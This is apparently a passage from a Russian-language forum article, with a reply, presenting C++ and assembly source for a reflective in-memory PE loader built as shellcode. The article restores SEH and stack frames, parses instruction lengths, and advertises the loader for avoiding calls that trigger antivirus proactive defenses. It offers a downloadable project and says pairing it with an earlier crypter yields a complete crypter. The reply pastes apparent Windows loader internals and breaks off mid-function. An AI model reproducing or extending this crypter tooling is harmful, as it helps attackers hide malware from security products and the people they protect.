            // remove SAFESEH if exists
            if( pNewNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress )
            {
                pNewNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress = NULL;
                pNewNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].Size = NULL;
            }

            // restore seh
            PSEH_FRAME Seh = (PSEH_FRAME)__readfsdword(0);
            while( IN_DLL(Seh->Callback,Base,Base + SizeOfBase) )
            {
                Seh = Seh->Next;
            }
            __writefsdword(0,(DWORD_PTR)Seh);

            // find ebp end
            PSTACK_FRAME Ebp = (PSTACK_FRAME)read_ebp();
            while( !IN_DLL(Ebp->ReturnAddress,Kernel32,Kernel32Ends) && !IN_DLL(Ebp->ReturnAddress,Ntdll,NtdllEnds) )
            {
                Ebp = Ebp->Next;
            }

            restore_regs(Ebp,(pNt->FileHeader.Characteristics & IMAGE_FILE_DLL),PrologLocalVarsSize,(DWORD_PTR)NewImageBase + pNt->OptionalHeader.AddressOfEntryPoint);
#else
            restore_regs(
                SaveRegs,(pNt->FileHeader.Characteristics & IMAGE_FILE_DLL),(DWORD_PTR)NewImageBase + pNt->OptionalHeader.AddressOfEntryPoint);
#endif
        }

        kprocs.VirtualFree(SavedFile,NULL,MEM_RELEASE);
    }
}
Правильно обрабатываем SEH.

Код:
restore_regs proc EbpFrame,IsDll,PrologSize,Ep
    ; ecx - ebp
    ; edx - is dll
    ; stack - Ep
    ;int 3

    mov ecx, EbpFrame
    .if IsDll
        ; skip mov esi, esp, after all regs will restored
        add dword ptr [ecx + 4], 2
    .else
        ; msvc2008
        mov edx, ecx
        sub edx, PrologSize
        mov ebx , dword ptr [edx - 014h]
        mov esi , dword ptr [edx - 018h]
        mov edi , dword ptr [edx - 01Ch]
    .endif
    
    mov edx, Ep
    
    ; correct stack
    mov ebp, dword ptr [ecx]
    lea esp, [ecx + 4]
    
    ;int 3
    jmp edx
restore_regs endp
restore_regs - Восстанавливаем пролог, корректируем стек и переходим по точке входа в замепленномый образ.


C++:
#ifdef _WIN64
PDWORD_PTR __fastcall find_next_rsp(PDWORD_PTR regs,PDWORD_PTR Rsp)
{
    ldasm_data dasm;

    dasm.lde_flags_table = lde_get_table();
    dasm.lde_flags_table_ex = lde_get_table_ex();

    PBYTE pCode = (PBYTE)*Rsp; // return address
    DWORD len = 0;
    DWORD r11;

    Rsp = Rsp + 1;

    do
    {
        pCode = pCode + len;
    
        len = lde_length(&dasm,LDE_CPU_TYPE_X64,pCode);
        if( !len )
            return NULL;

        DWORD Step = 0;
        DWORD creg,offset;

        if( len==8 )
        {
            /*
            .text:0000000140001DB1 48 8B 84 24 98 01 00 00                       mov     rax, [rsp+198h]
            .text:0000000140001DB9 48 8B 8C 24 98 01 00 00                       mov     rcx, [rsp+198h]
            .text:0000000140001DC1 48 8B 94 24 98 01 00 00                       mov     rdx, [rsp+198h]
            .text:0000000140001DC9 48 8B 9C 24 98 01 00 00                       mov     rbx, [rsp+198h]
            .text:0000000140001DD1 48 8B A4 24 98 01 00 00                       mov     rsp, [rsp+198h]
            .text:0000000140001DD9 48 8B AC 24 98 01 00 00                       mov     rbp, [rsp+198h]
            .text:0000000140001DE1 48 8B B4 24 98 01 00 00                       mov     rsi, [rsp+198h]
            .text:0000000140001DE9 48 8B BC 24 98 01 00 00                       mov     rdi, [rsp+198h]

            .text:0000000140001DF1 4C 8B 84 24 98 01 00 00                       mov     r8, [rsp+198h]
            .text:0000000140001DF9 4C 8B 8C 24 98 01 00 00                       mov     r9, [rsp+198h]
            .text:0000000140001E01 4C 8B 94 24 98 01 00 00                       mov     r10, [rsp+198h]
            .text:0000000140001E09 4C 8B 9C 24 98 01 00 00                       mov     r11, [rsp+198h]
            .text:0000000140001E11 4C 8B A4 24 98 01 00 00                       mov     r12, [rsp+198h]
            .text:0000000140001E19 4C 8B AC 24 98 01 00 00                       mov     r13, [rsp+198h]
            .text:0000000140001E21 4C 8B B4 24 98 01 00 00                       mov     r14, [rsp+198h]
            .text:0000000140001E29 4C 8B BC 24 98 01 00 00                       mov     r15, [rsp+198h]
            */
            if( (*(PWORD)pCode==0x8B48 || *(PWORD)pCode==0x8B4C) && pCode[3]==0x24 )
            {
                if( *pCode==0x4C ) Step += r_step;

                creg   = (*(pCode + 2) - 0x84)/8;
                offset = *(PDWORD)(pCode + 4);

                regs[Step + creg] = *(PDWORD_PTR)((PBYTE)Rsp + offset);
            }
            /*
            .text:0000000140001D01 48 8D 84 24 98 01 00 00                       lea     rax, [rsp+198h]
            .text:0000000140001D09 48 8D 8C 24 98 01 00 00                       lea     rcx, [rsp+198h]
            .text:0000000140001D11 48 8D 94 24 98 01 00 00                       lea     rdx, [rsp+198h]
            .text:0000000140001D19 48 8D 9C 24 98 01 00 00                       lea     rbx, [rsp+198h]
            .text:0000000140001D21 48 8D A4 24 98 01 00 00                       lea     rsp, [rsp+198h]
            .text:0000000140001D29 48 8D AC 24 98 01 00 00                       lea     rbp, [rsp+198h]
            .text:0000000140001D31 48 8D B4 24 98 01 00 00                       lea     rsi, [rsp+198h]
            .text:0000000140001D39 48 8D BC 24 98 01 00 00                       lea     rdi, [rsp+198h]

            .text:0000000140001D41 4C 8D 84 24 98 01 00 00                       lea     r8, [rsp+198h]
            .text:0000000140001D49 4C 8D 8C 24 98 01 00 00                       lea     r9, [rsp+198h]
            .text:0000000140001D51 4C 8D 94 24 98 01 00 00                       lea     r10, [rsp+198h]
            .text:0000000140001D59 4C 8D 9C 24 98 01 00 00                       lea     r11, [rsp+198h]
            .text:0000000140001D61 4C 8D A4 24 98 01 00 00                       lea     r12, [rsp+198h]
            .text:0000000140001D69 4C 8D AC 24 98 01 00 00                       lea     r13, [rsp+198h]
            .text:0000000140001D71 4C 8D B4 24 98 01 00 00                       lea     r14, [rsp+198h]
            .text:0000000140001D79 4C 8D BC 24 98 01 00 00                       lea     r15, [rsp+198h]
            */
            if( (*(PWORD)pCode==0x8D48 || *(PWORD)pCode==0x8D4C) && pCode[3]==0x24 )
            {
                if( *pCode==0x4C ) Step += r_step;

                creg   = (*(pCode + 2) - 0x84)/8;
                offset = *(PDWORD)(pCode + 4);

                regs[Step + creg] = (DWORD_PTR)Rsp + offset;
            }
        }else if( len==5 )
        {
            /*
            .text:0000000140001D61 48 8B 44 24 11                                mov     rax, [rsp+11h]
            .text:0000000140001D66 48 8B 4C 24 11                                mov     rcx, [rsp+11h]
            .text:0000000140001D6B 48 8B 54 24 11                                mov     rdx, [rsp+11h]
            .text:0000000140001D70 48 8B 5C 24 11                                mov     rbx, [rsp+11h]
            .text:0000000140001D75 48 8B 64 24 11                                mov     rsp, [rsp+11h]
            .text:0000000140001D7A 48 8B 6C 24 11                                mov     rbp, [rsp+11h]
            .text:0000000140001D7F 48 8B 74 24 11                                mov     rsi, [rsp+11h]
            .text:0000000140001D84 48 8B 7C 24 11                                mov     rdi, [rsp+11h]

            .text:0000000140001D89 4C 8B 44 24 11                                mov     r8, [rsp+11h]
            .text:0000000140001D8E 4C 8B 4C 24 11                                mov     r9, [rsp+11h]
            .text:0000000140001D93 4C 8B 54 24 11                                mov     r10, [rsp+11h]
            .text:0000000140001D98 4C 8B 5C 24 11                                mov     r11, [rsp+11h]
            .text:0000000140001D9D 4C 8B 64 24 11                                mov     r12, [rsp+11h]
            .text:0000000140001DA2 4C 8B 6C 24 11                                mov     r13, [rsp+11h]
            .text:0000000140001DA7 4C 8B 74 24 11                                mov     r14, [rsp+11h]
            .text:0000000140001DAC 4C 8B 7C 24 11                                mov     r15, [rsp+11h]
            */
            if( (*(PWORD)pCode==0x8B48 || *(PWORD)pCode==0x8B4C) && pCode[3]==0x24 )
            {
                if( *pCode==0x4C ) Step += r_step;

                creg   = (*(pCode + 2) - 0x44)/8;
                offset = *(pCode + 4);

                regs[Step + creg] = *(PDWORD_PTR)((PBYTE)Rsp + offset);
            }
            /*
            .text:0000000140001CB1 48 8D 44 24 11                                lea     rax, [rsp+11h]
            .text:0000000140001CB6 48 8D 4C 24 11                                lea     rcx, [rsp+11h]
            .text:0000000140001CBB 48 8D 54 24 11                                lea     rdx, [rsp+11h]
            .text:0000000140001CC0 48 8D 5C 24 11                                lea     rbx, [rsp+11h]
            .text:0000000140001CC5 48 8D 64 24 11                                lea     rsp, [rsp+11h]
            .text:0000000140001CCA 48 8D 6C 24 11                                lea     rbp, [rsp+11h]
            .text:0000000140001CCF 48 8D 74 24 11                                lea     rsi, [rsp+11h]
            .text:0000000140001CD4 48 8D 7C 24 11                                lea     rdi, [rsp+11h]

            .text:0000000140001CD9 4C 8D 44 24 11                                lea     r8, [rsp+11h]
            .text:0000000140001CDE 4C 8D 4C 24 11                                lea     r9, [rsp+11h]
            .text:0000000140001CE3 4C 8D 54 24 11                                lea     r10, [rsp+11h]
            .text:0000000140001CE8 4C 8D 5C 24 11                                lea     r11, [rsp+11h]
            .text:0000000140001CED 4C 8D 64 24 11                                lea     r12, [rsp+11h]
            .text:0000000140001CF2 4C 8D 6C 24 11                                lea     r13, [rsp+11h]
            .text:0000000140001CF7 4C 8D 74 24 11                                lea     r14, [rsp+11h]
            .text:0000000140001CFC 4C 8D 7C 24 11                                lea     r15, [rsp+11h]
            */
            if( (*(PWORD)pCode==0x8D48 || *(PWORD)pCode==0x8D4C) && pCode[3]==0x24 )
            {
                if( *pCode==0x4C ) Step += r_step;

                creg   = (*(pCode + 2) - 0x44)/8;
                offset = *(pCode + 4);

                regs[Step + creg] = (DWORD_PTR)Rsp + offset;
            }
        }else if( len==1 || len==2 )
        {
            /*
            .text:0000000140001D61 58                                            pop     rax
            .text:0000000140001D62 59                                            pop     rcx
            .text:0000000140001D63 5A                                            pop     rdx
            .text:0000000140001D64 5B                                            pop     rbx
            .text:0000000140001D65 5C                                            pop     rsp
            .text:0000000140001D66 5D                                            pop     rbp
            .text:0000000140001D67 5E                                            pop     rsi
            .text:0000000140001D68 5F                                            pop     rdi
            .text:0000000140001D69 41 58                                         pop     r8
            .text:0000000140001D6B 41 59                                         pop     r9
            .text:0000000140001D6D 41 5A                                         pop     r10
            .text:0000000140001D6F 41 5B                                         pop     r11
            .text:0000000140001D71 41 5C                                         pop     r12
            .text:0000000140001D73 41 5D                                         pop     r13
            .text:0000000140001D75 41 5E                                         pop     r14
            .text:0000000140001D77 41 5F                                         pop     r15
            */
            BOOL next = FALSE;
            if( *pCode>=0x5B && *pCode<=0x5F ) // only rbp - rdi
            {
                next = true;
                creg = *pCode - 0x58;
            }else if( *pCode==0x41 && *(pCode + 1)>=0x5C && *(pCode + 1)<=0x5F) // only r12-r15
            {
                next = true;
                creg = *(pCode + 1) - 0x58;
                Step += r_step;
            }

            if( next )
            {
                regs[Step + creg] = *(PDWORD_PTR)Rsp;
                Rsp = Rsp + 1;
            }
        }else if (len==4 && *pCode==0x48 && *(PWORD)(pCode + 1)==0xC483 )
        {
            // .text:0000000140001C51 48 83 C4 28                                   add     rsp, 28h

            Rsp = (PDWORD_PTR)((PBYTE)Rsp + pCode[3]);
        }else if( len==7 && *pCode==0x48 && *(PWORD)(pCode + 1)==0xC481 )
        {
            // .text:0000000140001BE6 48 81 C4 88 00 00 00                          add     rsp, 88h

            Rsp = (PDWORD_PTR)((PBYTE)Rsp + *(PDWORD)(pCode + 3) );
        }else if( len==3 && *pCode==0x49 && *(PWORD)(pCode + 1)==0xE38B )
        {
            //.text:0000000140002680 49 8B E3                                      mov     rsp, r11
            Rsp = (PDWORD_PTR)regs[r_r11];
        }

    } while (*pCode!=0xC3);

    regs[r_rsp] = (DWORD_PTR)Rsp;

    return Rsp;
}
Для x64 PE находим Rsp.

C++:
DWORD __fastcall lde_length(ldasm_data *ld,LDE_CPU_TYPE CpuType, PVOID Memory)
{
    BYTE *p = (PBYTE)Memory;
    BYTE s, op, f;
    BYTE rexw, pr_66, pr_67;

    s = rexw = pr_66 = pr_67 = 0;

    /* dummy check */
    if (!Memory)
        return 0;

    /* init output data */
    mem_zero(ld, sizeof(ldasm_data) - sizeof(PBYTE) - sizeof(PBYTE));

    /* phase 1: parse prefixies */
    while (ld->lde_flags_table[*p] & OP_PREFIX)
    {
        if (*p == 0x66)
            pr_66 = 1;
        if (*p == 0x67)
            pr_67 = 1;

        p++; s++;
        ld->flags |= F_PREFIX;

        if (s == 15) {
            ld->flags |= F_INVALID;
            return s;
        }
    }

    /* parse REX prefix */
    if (CpuType == LDE_CPU_TYPE_X64 && *p >> 4 == 4)
    {
        ld->rex = *p;
        rexw = (ld->rex >> 3) & 1;
        ld->flags |= F_REX;
        p++; s++;
    }

    /* can be only one REX prefix */
    if (CpuType == LDE_CPU_TYPE_X64 && *p >> 4 == 4)
    {
        ld->flags |= F_INVALID;
        s++;
        return s;
    }

    /* phase 2: parse op Memory */
    ld->opcd_offset = (BYTE)(p - (BYTE*)Memory);
    ld->opcd_size = 1;
    op = *p++; s++;

    /* is 2 byte opcede? */
    if (op == 0x0F)
    {
        op = *p++; s++;
        ld->opcd_size++;
        f = ld->lde_flags_table_ex[op];
        if (f & OP_INVALID){
            ld->flags |= F_INVALID;
            return s;
        }
        /* for SSE instructions */
        if (f & OP_EXTENDED) {
            op = *p++; s++;
            ld->opcd_size++;
        }
    }
    else {
        f = ld->lde_flags_table[op];
        /* pr_66 = pr_67 for opMemorys A0-A3 */
        if (op >= 0xA0 && op <= 0xA3)
            pr_66 = pr_67;
    }

    /* phase 3: parse ModR/M, SIB and DISP */
    if (f & OP_MODRM) {
        BYTE mod = (*p >> 6);
        BYTE ro = (*p & 0x38) >> 3;
        BYTE rm = (*p & 7);

        ld->modrm = *p++; s++;
        ld->flags |= F_MODRM;

        /* in F6,F7 opMemorys immediate data present if R/O == 0 */
        if (op == 0xF6 && (ro == 0 || ro == 1))
            f |= OP_DATA_I8;
        if (op == 0xF7 && (ro == 0 || ro == 1))
            f |= OP_DATA_I16_I32_I64;

        /* is SIB byte exist? */
        if (mod != 3 && rm == 4 && !(!CpuType == LDE_CPU_TYPE_X64 && pr_67)) {
            ld->sib = *p++; s++;
            ld->flags |= F_SIB;

            /* if base == 5 and mod == 0 */
            if ((ld->sib & 7) == 5 && mod == 0) {
                ld->disp_size = 4;
            }
        }


        if (!mod)
        {
            if (CpuType == LDE_CPU_TYPE_X64) {
                if (rm == 5) {
                    ld->disp_size = 4;
                    if (CpuType == LDE_CPU_TYPE_X64)
                        ld->flags |= F_RELATIVE;
                }
            }
            else if (pr_67) {
                if (rm == 6)
                    ld->disp_size = 2;
            }
            else {
                if (rm == 5)
                    ld->disp_size = 4;
            }
        }
        else if (mod == 1)
        {
            ld->disp_size = 1;
        }
        else if (mod == 2)
        {
            if (CpuType == LDE_CPU_TYPE_X64)
                ld->disp_size = 4;
            else if (pr_67)
                ld->disp_size = 2;
            else
                ld->disp_size = 4;
        }

        if (ld->disp_size) {
            ld->disp_offset = (BYTE)(p - (BYTE *)Memory);
            p += ld->disp_size;
            s += ld->disp_size;
            ld->flags |= F_DISP;
        }
    }

    /* phase 4: parse immediate data */
    if (rexw && f & OP_DATA_I16_I32_I64)
        ld->imm_size = 8;
    else if (f & OP_DATA_I16_I32 || f & OP_DATA_I16_I32_I64)
        ld->imm_size = 4 - (pr_66 << 1);

    /* if exist, add OP_DATA_I16 and OP_DATA_I8 size */
    ld->imm_size += f & 3;

    if (ld->imm_size) {
        s += ld->imm_size;
        ld->imm_offset = (BYTE)(p - (BYTE *)Memory);
        ld->flags |= F_IMM;
        if (f & OP_RELATIVE)
            ld->flags |= F_RELATIVE;
    }

    /* instruction is too long */
    if (s > 15)
    {
        ld->flags |= F_INVALID;
        s = 0;
    }

    return s;
}
Дизассемлер длин.

Что касается преимуществ данного способа меппинга - это отсутствие вызовов, таких как порождение нового процесса или получение и смена контекста, работа с потоками, на которые могли бы триггерить проактивки.
Для более скрытного использования загрузчика можно подружить его в syscallы и будет вообще малина.

Скачать проект можно тут: https://gofile.io/d/CxBJFb
В этот раз для получения пароля на архив нужно немножко больше навыков, чем юзать онлайн encode-decode утилиты, зато интересно и по-приколу =D.

Дано массив размером 10
Инициализатор генератора случайных чисел на 0x1337 (seed).
Пароль это результат суммы всех сгенерированных случайных чисел массива в виде хэша от алгоритма whirlpool в lowercase.
На выходе должно получиться что-то вроде 5350b5db7c67126b3c910cbf2..........................................................aed190a232756b082652e4f0c0fcf333c1990ba05c7febf (всего 206 символов).
Хэш от строки в whirlpool можно получить тут https://www.tools4noobs.com/online_tools/hash/.

Пример питон скрипта который можно дописать:
Python:
import random as r
SIZE = 10
rnd_seed = int(0x1337)
r.seed(a=rnd_seed)
result = 0
array = [r.randint(1, 10) for _ in range (SIZE)]


Собирался проект на VC2010.
Для правильной работы Custom build Rules (инлайн масма) нужно скопировать файлы
"masm64.rules"
"masm32.rules"
в C:\Program Files (x86)\MSBuild\Microsoft.Cpp\v4.0\BuildCustomizations.

Подробнее тут.

В архиве намеренно отсутствует файл get_first_section.exe - его задача вытащить сырой блок кода из секции кода, считай дампер шеллкода, но это совсем для ленивых и я не рекомендую вам использовать автоматизацию в таких случаях.
Проще загрузить собранный загрузчик в x32\x64dbg и ручками его вытащить и сохранить - это ваше домашнее задание.


Вместо заключения:
В коде сознательно присутствуют некоторые ошибки от дураков, чтобы не копипастили бездумно. Просьба не шарить исправленный.
Ответственно могу заявить, что перед вами наиболее полный из возможных, загрзчик бинариков в память на сегодняший день (не считая виндового :)).
Как итог, скомбинировав проект криптора из прошлой статьи с загрузчиком из этой статьи, можно получить свой полноценный криптор.
Как-нибудь в другой раз мы рассмотрим процесс морфинга шеллкода и алгоритмы и способы антиэмуляции, но это уже тема для дугой статьи :)
Спасибо за внимание.
 

Вложения

  • pe_loader_shellcode.zip
    28.1 КБ · Просмотры: 517
Последнее редактирование:
C++:
NTSTATUS

NTAPI

LdrpLoadDll(

    ULONG Flags OPTIONAL,

    IN PWSTR DllPath OPTIONAL,

    IN PULONG DllCharacteristics OPTIONAL,

    IN PUNICODE_STRING DllName,

    OUT PVOID *DllHandle,

    IN BOOLEAN RunInitRoutines

    )

{

    PPEB Peb;

    PTEB Teb;

    NTSTATUS st;

    PLDR_DATA_TABLE_ENTRY LdrDataTableEntry;

    PWSTR ActualDllName;

    PWCH p, pp;

    UNICODE_STRING ActualDllNameStr;

    WCHAR FreeBuffer[LDR_MAX_PATH + 1];

    BOOLEAN Redirected = ((Flags & LDRP_LOAD_DLL_FLAG_DLL_IS_REDIRECTED) != 0);

    const InLdrInit = LdrpInLdrInit;

    PVOID LockCookie = NULL;


    Peb = NtCurrentPeb();

    Teb = NtCurrentTeb();


    st = STATUS_SUCCESS;


    //

    // Except during process initializeation, grab loader lock and Snap All Links to specified DLL

    //


    if (!InLdrInit)

        RtlEnterCriticalSection(&LdrpLoaderLock);


    try {

        p = DllName->Buffer;

        pp = NULL;

        while (*p) {

            if (*p++ == (WCHAR)'.') {

                //

                // pp will point to first character after last '.'

                //

                pp = p;

                }

            }



        ActualDllName = FreeBuffer;

        if ( DllName->Length >= sizeof(FreeBuffer)) {

            return STATUS_NAME_TOO_LONG;

            }

        RtlMoveMemory(ActualDllName, DllName->Buffer, DllName->Length);



        if (!pp || *pp == (WCHAR)'\\') {

            //

            // No extension found (just ..\)

            //

            if (DllName->Length + sizeof(DllExtension) >= sizeof(FreeBuffer)) {

                DbgPrintEx(

                    DPFLTR_LDR_ID,

                    LDR_ERROR_DPFLTR,

                    "LDR: %s - Dll name missing extension; with extension added the length is too long\n"

                    "   DllName: (@ %p) \"%wZ\"\n"

                    "   DllName->Length: %u\n",

                    __FUNCTION__,

                    DllName, DllName,

                    DllName->Length);


                return STATUS_NAME_TOO_LONG;

            }


            RtlMoveMemory((PCHAR)ActualDllName+DllName->Length, DllExtension, sizeof(DllExtension));

        } else

            ActualDllName[DllName->Length >> 1] = UNICODE_NULL;


        if (ShowSnaps) {

            DbgPrint("LDR: LdrLoadDll, loading %ws from %ws\n",

                     ActualDllName,

                     ARGUMENT_PRESENT(DllPath) ? DllPath : L""

                     );

            }



        RtlInitUnicodeString(&ActualDllNameStr,ActualDllName);

        ActualDllNameStr.MaximumLength = sizeof(FreeBuffer);


        if (!LdrpCheckForLoadedDll( DllPath,

                                    &ActualDllNameStr,

                                    FALSE,

                                    Redirected,

                                    &LdrDataTableEntry)) {

            st = LdrpMapDll(DllPath,

                            ActualDllName,

                            DllCharacteristics,

                            FALSE,

                            Redirected,

                            &LdrDataTableEntry);


            if (!NT_SUCCESS(st))

                return st;


            //

            // Register dll with the stack tracing module.

            // This is used for getting reliable stack traces on X86.

            //


#if defined(_X86_)

            RtlpStkMarkDllRange (LdrDataTableEntry);

#endif


            if (ARGUMENT_PRESENT( DllCharacteristics ) &&

                *DllCharacteristics & IMAGE_FILE_EXECUTABLE_IMAGE) {

                LdrDataTableEntry->EntryPoint = 0;

                LdrDataTableEntry->Flags &= ~LDRP_IMAGE_DLL;

            }


            //

            // and walk the import descriptor.

            //


            if (LdrDataTableEntry->Flags & LDRP_IMAGE_DLL) {


                try {

                    //

                    // if the image is COR-ILONLY, then don't walk the import descriptor

                    // as it is assumed that it only imports %windir%\system32\mscoree.dll, otherwise

                    // walk the import descriptor table of the dll.

                    //


                    if ((LdrDataTableEntry->Flags & LDRP_COR_IMAGE) == 0) {

                        st = LdrpWalkImportDescriptor(

                                  DllPath,

                                  LdrDataTableEntry

                                  );

                    }

                } __except(LdrpGenericExceptionFilter(GetExceptionInformation(), __FUNCTION__)) {

                    st = GetExceptionCode();

                    DbgPrintEx(

                        DPFLTR_LDR_ID,

                        LDR_ERROR_DPFLTR,

                        "LDR: %s - Exception %x thrown by LdrpWalkImportDescriptor\n",

                        __FUNCTION__,

                        st);

                }


                if ( LdrDataTableEntry->LoadCount != 0xffff )

                    LdrDataTableEntry->LoadCount++;


                LdrpReferenceLoadedDll(LdrDataTableEntry);


                if (!NT_SUCCESS(st)) {

                    LdrDataTableEntry->EntryPoint = NULL;

                    InsertTailList(

                        &NtCurrentPeb()->Ldr->InInitializationOrderModuleList,

                        &LdrDataTableEntry->InInitializationOrderLinks);


                    LdrpClearLoadInProgress();


                    if (ShowSnaps)

                        DbgPrint("LDR: Unloading %wZ due to error %x walking import descriptors\n", DllName, st);


                    LdrUnloadDll((PVOID)LdrDataTableEntry->DllBase);


                    return st;

                    }

                }

            else {

                if ( LdrDataTableEntry->LoadCount != 0xffff ) {

                    LdrDataTableEntry->LoadCount++;

                    }

                }


            //

            // Add init routine to list

            //


            InsertTailList(&NtCurrentPeb()->Ldr->InInitializationOrderModuleList,

                           &LdrDataTableEntry->InInitializationOrderLinks);



            //

            // If the loader data base is not fully setup, this load was because

            // of a forwarder in the static load set. Can't run init routines

            // yet because the load counts are NOT set

            //


            if ( RunInitRoutines && LdrpLdrDatabaseIsSetup ) {


                //

                // Shim engine callback. This is the chance to patch

                // dynamically loaded modules.

                //


                if (g_pfnSE_DllLoaded != NULL) {

                    (*g_pfnSE_DllLoaded)(LdrDataTableEntry);

                }


                try {


                    st = LdrpRunInitializeRoutines(NULL);

                    if ( !NT_SUCCESS(st) ) {

                        if (ShowSnaps) {

                            DbgPrint("LDR: Unloading %wZ because either its init routine or one of its static imports failed; status = 0x%08lx", DllName, st);

                        }


                        LdrUnloadDll((PVOID)LdrDataTableEntry->DllBase);

                        }

                    }

                __except (LdrpGenericExceptionFilter(GetExceptionInformation(), __FUNCTION__)) {

                    st = GetExceptionCode();


                    DbgPrintEx(

                        DPFLTR_LDR_ID,

                        LDR_ERROR_DPFLTR,

                        "LDR: %s - Exception %08lx thrown running initialization routines for %wZ\n",

                        __FUNCTION__,

                        st,

                        &LdrDataTableEntry->FullDllName);


                    LdrUnloadDll((PVOID)LdrDataTableEntry->DllBase);


                    return st;

                    }

                }

            else {

                st = STATUS_SUCCESS;

                }


            }

        else {


            //

            // Count it. And everything that it imports.

            //


            if ( LdrDataTableEntry->Flags & LDRP_IMAGE_DLL &&

                 LdrDataTableEntry->LoadCount != 0xffff  ) {


                LdrDataTableEntry->LoadCount++;


                LdrpReferenceLoadedDll(LdrDataTableEntry);


                //

                // Now clear the Load in progress bits

                //


                LdrpClearLoadInProgress();


                }

            else {

                if ( LdrDataTableEntry->LoadCount != 0xffff ) {

                    LdrDataTableEntry->LoadCount++;

                    }

                }

            }

        }

    __finally {

        if (!InLdrInit)

            RtlLeaveCriticalSection(&LdrpLoaderLock);

    }


    if (NT_SUCCESS(st))

        *DllHandle = (PVOID)LdrDataTableEntry->DllBase;

    else

        *DllHandle = NULL;


    return st;

}


и


C++:
NTSTATUS

LdrpMapDll(

    IN PWSTR DllPath OPTIONAL,

    IN PWSTR DllName,

    IN PULONG DllCharacteristics OPTIONAL,

    IN BOOLEAN StaticLink,

    IN BOOLEAN Redirected,

    OUT PLDR_DATA_TABLE_ENTRY *LdrDataTableEntry

    )


/*++


Routine Description:


    This routine maps the DLL into the users address space.


Arguments:


    DllPath - Supplies an optional search path to be used to locate the DLL.


    DllName - Supplies the name of the DLL to load.


    StaticLink - TRUE if this DLL has a static link to it.


    LdrDataTableEntry - Supplies the address of the data table entry.


Return Value:


    Status value.


--*/


{

    NTSTATUS st = STATUS_INTERNAL_ERROR;

    PVOID ViewBase = NULL;

    PTEB Teb = NtCurrentTeb();

    SIZE_T ViewSize;

    HANDLE Section, DllFile;

    UNICODE_STRING FullDllName, BaseDllName;

    UNICODE_STRING NtFileName;

    PLDR_DATA_TABLE_ENTRY Entry;

    PIMAGE_NT_HEADERS NtHeaders;

    PVOID ArbitraryUserPointer;

    BOOLEAN KnownDll;

    UNICODE_STRING CollidingDll;

    PUCHAR ImageBase, ImageBounds, ScanBase, ScanTop;

    PLDR_DATA_TABLE_ENTRY ScanEntry;

    PLIST_ENTRY ScanHead,ScanNext;

    BOOLEAN CollidingDllFound;

    NTSTATUS ErrorStatus;

    ULONG_PTR ErrorParameters[2];

    ULONG ErrorResponse;

    IMAGE_COR20_HEADER *Cor20Header;

    ULONG Cor20HeaderSize;

    BOOLEAN Cor20ILOnly = FALSE;

    PVOID OriginalViewBase;

    NTSTATUS stTemp;

    PWSTR AppCompatDllName = NULL;


    //

    // Get section handle of DLL being snapped

    //


#if LDRDBG

    if (ShowSnaps) {

        DbgPrint("LDR: LdrpMapDll: Image Name %ws, Search Path %ws\n",

                DllName,

                ARGUMENT_PRESENT(DllPath) ? DllPath : L""

                );

    }

#endif


    Entry = NULL;

    KnownDll = FALSE;

    Section = NULL;


    LdrpEnsureLoaderLockIsHeld();


    // No capturing etc. of the globals since we "know" that the loader lock is taken to synchronize access.

    if (LdrpAppCompatDllRedirectionCallbackFunction != NULL) {

        st = (*LdrpAppCompatDllRedirectionCallbackFunction)(

                0,              // Flags - reserved for the future

                DllName,

                DllPath,

                DllCharacteristics,

                LdrpAppCompatDllRedirectionCallbackData,

                &AppCompatDllName);

        if (!NT_SUCCESS(st)) {

            DbgPrintEx(

                DPFLTR_LDR_ID,

                LDR_ERROR_DPFLTR,

                "LDR: %s - call back to app compat redirection function @ %p (cb data: %p) failed with status %x\n",

                __FUNCTION__,

                LdrpAppCompatDllRedirectionCallbackFunction,

                LdrpAppCompatDllRedirectionCallbackData,

                st);


            goto Exit;

        }


        if (AppCompatDllName != NULL) {

            Redirected = TRUE;

            DllName = AppCompatDllName;

        }

    }


    if ((LdrpKnownDllObjectDirectory != NULL) && !Redirected) {

        PCWCH p = DllName;

        WCHAR wch;


        //

        // Skip the KnownDll check if this is an explicit path.

        //


        while ((wch = *p) != L'\0') {

            p++;

            if (RTL_IS_PATH_SEPARATOR(wch))

                break;

        }


        // If we hit the end of the string, there must have not been a path separator.

        if (wch == L'\0') {

            st = LdrpCheckForKnownDll(DllName, &FullDllName, &BaseDllName, &Section);

            if ((!NT_SUCCESS(st)) && (st != STATUS_DLL_NOT_FOUND)) {

                DbgPrintEx(

                    DPFLTR_LDR_ID,

                    LDR_ERROR_DPFLTR,

                    "LDR: %s - call to LdrpCheckForKnownDll(\"%ws\", ...) failed with status %x\n",

                    __FUNCTION__,

                    DllName,

                    st);


                goto Exit;

            }

        }

    }


    if (Section == NULL) {

        st = LdrpResolveDllName(DllPath, DllName, Redirected, &FullDllName, &BaseDllName, &DllFile);

        if (!NT_SUCCESS(st)) {

            if (st == STATUS_DLL_NOT_FOUND) {

                if (StaticLink) {

                    UNICODE_STRING ErrorDllName, ErrorDllPath;

                    PUNICODE_STRING ErrorStrings[2] = { &ErrorDllName, &ErrorDllPath };

                    ULONG ErrorResponse;


                    RtlInitUnicodeString(&ErrorDllName,DllName);

                    RtlInitUnicodeString(&ErrorDllPath,ARGUMENT_PRESENT(DllPath) ? DllPath : LdrpDefaultPath.Buffer);


                    NtRaiseHardError(

                        STATUS_DLL_NOT_FOUND,

                        2,              // Number of error strings

                        0x00000003,

                        (PULONG_PTR)ErrorStrings,

                        OptionOk,

                        &ErrorResponse);


                    if (LdrpInLdrInit)

                        LdrpFatalHardErrorCount++;

                }

            } else {

                DbgPrintEx(

                    DPFLTR_LDR_ID,

                    LDR_ERROR_DPFLTR,

                    "LDR: %s - call to LdrpResolveDllName on dll \"%ws\" failed with status %x\n",

                    __FUNCTION__,

                    DllName,

                    st);

            }




            goto Exit;

        }


        if (ShowSnaps) {

            PSZ type;

            PSZ type2;

            type = StaticLink ? "STATIC" : "DYNAMIC";

            type2 = Redirected ? "REDIRECTED" : "NON_REDIRECTED";


            DbgPrint(

                "LDR: Loading (%s, %s) %wZ\n",

                type,

                type2,

                &FullDllName);

        }


        if (!RtlDosPathNameToNtPathName_U(

                FullDllName.Buffer,

                &NtFileName,

                NULL,

                NULL)) {

